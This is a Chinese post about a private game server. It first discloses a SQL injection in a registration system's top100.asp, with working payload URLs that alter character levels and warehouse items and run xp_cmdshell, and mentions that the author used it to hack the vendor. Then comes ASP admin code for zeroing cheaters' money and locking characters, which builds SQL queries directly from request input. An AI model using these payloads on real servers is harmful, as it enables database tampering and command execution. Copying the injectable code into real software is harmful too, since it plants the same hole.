惟我独尊注册系统存在的漏洞及其解决办法
1》TOP100.ASP存在SQL注入问题:
描叙:SX参数没有过滤
利用:
设置角色数据:
HTTP://SOMEURL.COM/top100.asp?sx=energy;update character set clevel=350 where name='角色名';--
还可以改仓库 (以前不知道谁说的SQL注入不能改仓库)
HTTP://SOMEURL.COM/top100.asp?sx=energy;UPDATE warehouse SET Items = 0x865CC800000000E40000 where AccountID='帐号';--
危害系统:(如果对方用的是SA 那么他死定了)
HTTP://SOMEURL.COM/top100.asp?sx=energy;exec master.dbo.cmdshell 'ping 你的IP';--
如果你的放火墙收到了响应 那么.........
解决方法:
把sx=request("sx")
改为:sx=left(request("sx"),8)
题外话:惟我独尊是一个很阴险的社团.他们受到威胁后是把top100删了,而没有发布更新代码前一段时间我上去把他们黑了
利用的是下面那个漏洞
2>new文件夹下多个文件存在SQL注入问题:
危害:后台密码暴露
利用:比较难 我也比较懒所以不说了
解决方法:不用惟我独尊的注册系统是最好的方法 我认为.呵呵
长话短说,能不能利用就看你的修为了 呵呵!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Asp处罚刷钱者程序
老是在弄总觉得不好,写个管理的。(修正unlock.asp,新加cmm.asp可以一次清某个帐号的所有角色金钱,修改find.asp的一部分)<br>
配合梦之Web的管理程序使用,所有文件放在同一个文件夹即可<br>
find.asp 根据帐号查找该帐号的所有角色<br>
<!--#include file="conn.asp" --><br>
<!--#include file="top.asp" --><br>
<br>
<center><br>
<table width=778 background="images/top_bg5.gif"><br>
<tr> <br>
<td align=center><br>
<!--#include file="Atop.asp" --><br>
<table width=50% align=center border=1 bordercolor="#000000" style="border-collapse: collapse" cellpadding="2" cellspacing="2"><br>
<tr><br>
<Td>帐号</td><br>
<Td>角色</td><br>
<Td>金钱</td><br> dedecms.com
<Td>级别</td><br>
<Td>状态</td><br>
<td>操作</td><br>
</tr><br>
<%<br>
<br>
set rs=server.CreateObject("adodb.recordset")<br>
sqlstr="select * from Character where AccountID='"&request("nname")&"'"<br>
rs.open sqlstr,conn,1,1<br>
if rs.eof or rs.bof then<br>
response.write "<tr><td colspan=2 align=center>暂时没有记录</td></tr>"<br>
else<br>
while not rs.eof<br>
%><br>
<tr><br>
<Td><%=request("nname")%></td><br>
<td><%=rs("Name")%></td><br>
<td><%=rs("Money")%></td><br>
<td><%=rs("cLevel")%></td><br>
<td><%=rs("CtlCode")%></td><br>
<td><a href="clearm.asp?nname=<%=rs("Name")%>" target="_blank">清钱</a></td><br>
<td><a href="lockrw.asp?nname=<%=rs("Name")%>" target="_blank">封人物</a></td><br>
</tr><br>
<%<br>
rs.movenext<br>
wend<br>
end if<br>
%><br>
<br>
</table><br>
<center><b><font size="2" color="#808000"><a href="cmm.asp?nname=<%=request("nname")%>" target="_blank">该帐号的所有角色金钱清零(不包括仓库)</a></font></b></center><br>
<form method="POST" action="find.asp"><br>
请输入要查找的帐号:<input type="text" name="nname" size="20" class=button><br>
<input type="submit" value="执行" class=button><br>
</form><br>
<br>
cm.asp 清钱等处罚
<!--#include file="conn.asp" -->
<!--#include file="top.asp" -->
<%
if request("nname")<>"" then
set rs1=server.CreateObject("adodb.recordset")
sqlstr1="select * from Character where Name='"&request("nname")&"'"
rs1.open sqlstr1,conn,1,3
if rs1.eof or rs1.bof then
response.write "<script language=javascript>alert('没有找到角色~请检查输入!');history.back()</script>"
response.end
else
rs1("Money")="0" '金钱清0
'这里可以加入减经验等处罚
response.write "<center>Ok了"
end if
rs1.update
rs1.close
end if
%>
lockrw.asp 封角色
<!--#include file="conn.asp" -->
<!--#include file="top.asp" -->
<%
if request("nname")<>"" then
set rs1=server.CreateObject("adodb.recordset")
sqlstr1="select * from Character where Name='"&request("nname")&"'"
rs1.open sqlstr1,conn,1,3
if rs1.eof or rs1.bof then
response.write "<script language=javascript>alert('没有找到角色~请检查输入!');history.back()</script>"
response.end
else
rs1("CtlCode")="9"
response.write "<center>ok了
<Br>"
end if
rs1.update
rs1.close
end if
%>
<center> dedecms.com
<table width=778 background="images/top_bg5.gif">
<tr>
<td align=center>
<!--#include file="Atop.asp" -->
<table width=50% align=center border=1 bordercolor="#000000" style="border-collapse: collapse" cellpadding="2" cellspacing="2">
<tr>
<Td>角色</td>
<Td>等级</td>
<Td>帐号</td>
<td>操作</td>
</tr>
<%
set rs=server.CreateObject("adodb.recordset")
sqlstr="select * from Character where CtlCode='9'"
rs.open sqlstr,conn,1,1
if rs.eof or rs.bof then
response.write "<tr><td colspan=2 align=center>暂时没有记录</td></tr>"
else
while not rs.eof
%>
<tr>
<Td><%=rs("Name")%></td>
<td><%=rs("cLevel")%></td>
<td><%=rs("AccountID")%></td>
<td><a href="unlock.asp?user=<%=rs("Name")%>">解封</a></td>
</tr>
<%
rs.movenext
wend
end if
%>
</table>
<form method="POST" action="lockrw.asp">
请输入要封的角色:<input type="text" name="nname" size="20" class=button>
<input type="submit" value="封该角色" class=button>
</form>
unlock.asp 解封角色
<!--#include file="conn.asp" -->
<!--#include file="top.asp" -->
<%
if request("user")<>"" then
set rs1=server.CreateObject("adodb.recordset")
sqlstr1="select * from Character where Name='"&request("user")&"'"
rs1.open sqlstr1,conn,1,3
if rs1.eof or rs1.bof then
response.write "<script language=javascript>alert('没有找到角色~请检查输入!');history.back()</script>"
response.end
else
rs1("CtlCode")="0"
response.write "<center><font color=#FFFFFF>=======解除了========</font><br><br>"
end if
rs1.update
rs1.close
end if
%>
<center><input type="button" value="返回角色封停管理" class=button onclick="javascript :location.href='lockrw.asp'">
新加入cmm.asp,一次清理该帐号所有金钱
cmm.asp
<!--#include file="conn.asp" -->
<!--#include file="top.asp" -->
<center>
<table width=778 background="images/top_bg5.gif">
<tr>
<td align=center>
<!--#include file="Atop.asp" -->
<table width=50% align=center border=1 bordercolor="#000000" style="border-collapse: collapse" cellpadding="2" cellspacing="2">
<tr>
<Td>帐号</td>
<Td>角色</td>
<Td>金钱</td>
<Td>级别</td>
<td>状态</td>
<td>操作结果</td>
</tr>
<%
set rs=server.CreateObject("adodb.recordset")
sqlstr="select * from Character where AccountID='"&request("nname")&"'"
rs.open sqlstr,conn,1,3
if rs.eof or rs.bof then
response.write "<tr><td colspan=2 align=center>找不到改帐号</td></tr>"
else
while not rs.eof
%>
<%
rs("Money")="0"
rs.updata
%>
<tr>
<Td><%=request("nname")%></td>
<td><%=rs("Name")%></td>
<td><%=rs("Money")%></td>
<td><%=rs("cLevel")%></td>
<td><%=rs("CtlCode")%></td>
<td>清理完毕</td>
</tr>
<%
rs.movenext
wend
end if
rs.close
%>
</table>
<form method="POST" action="cmm.asp">
请输入要继续处理的帐号:<input type="text" name="nname" size="20" class=button>
<input type="submit" value="执行" class=button>
<input type="button" name="close" value="关闭窗口" onClick="window.close()">
</form>
商业完整版游戏发布站程序免费下载:www.98youx.com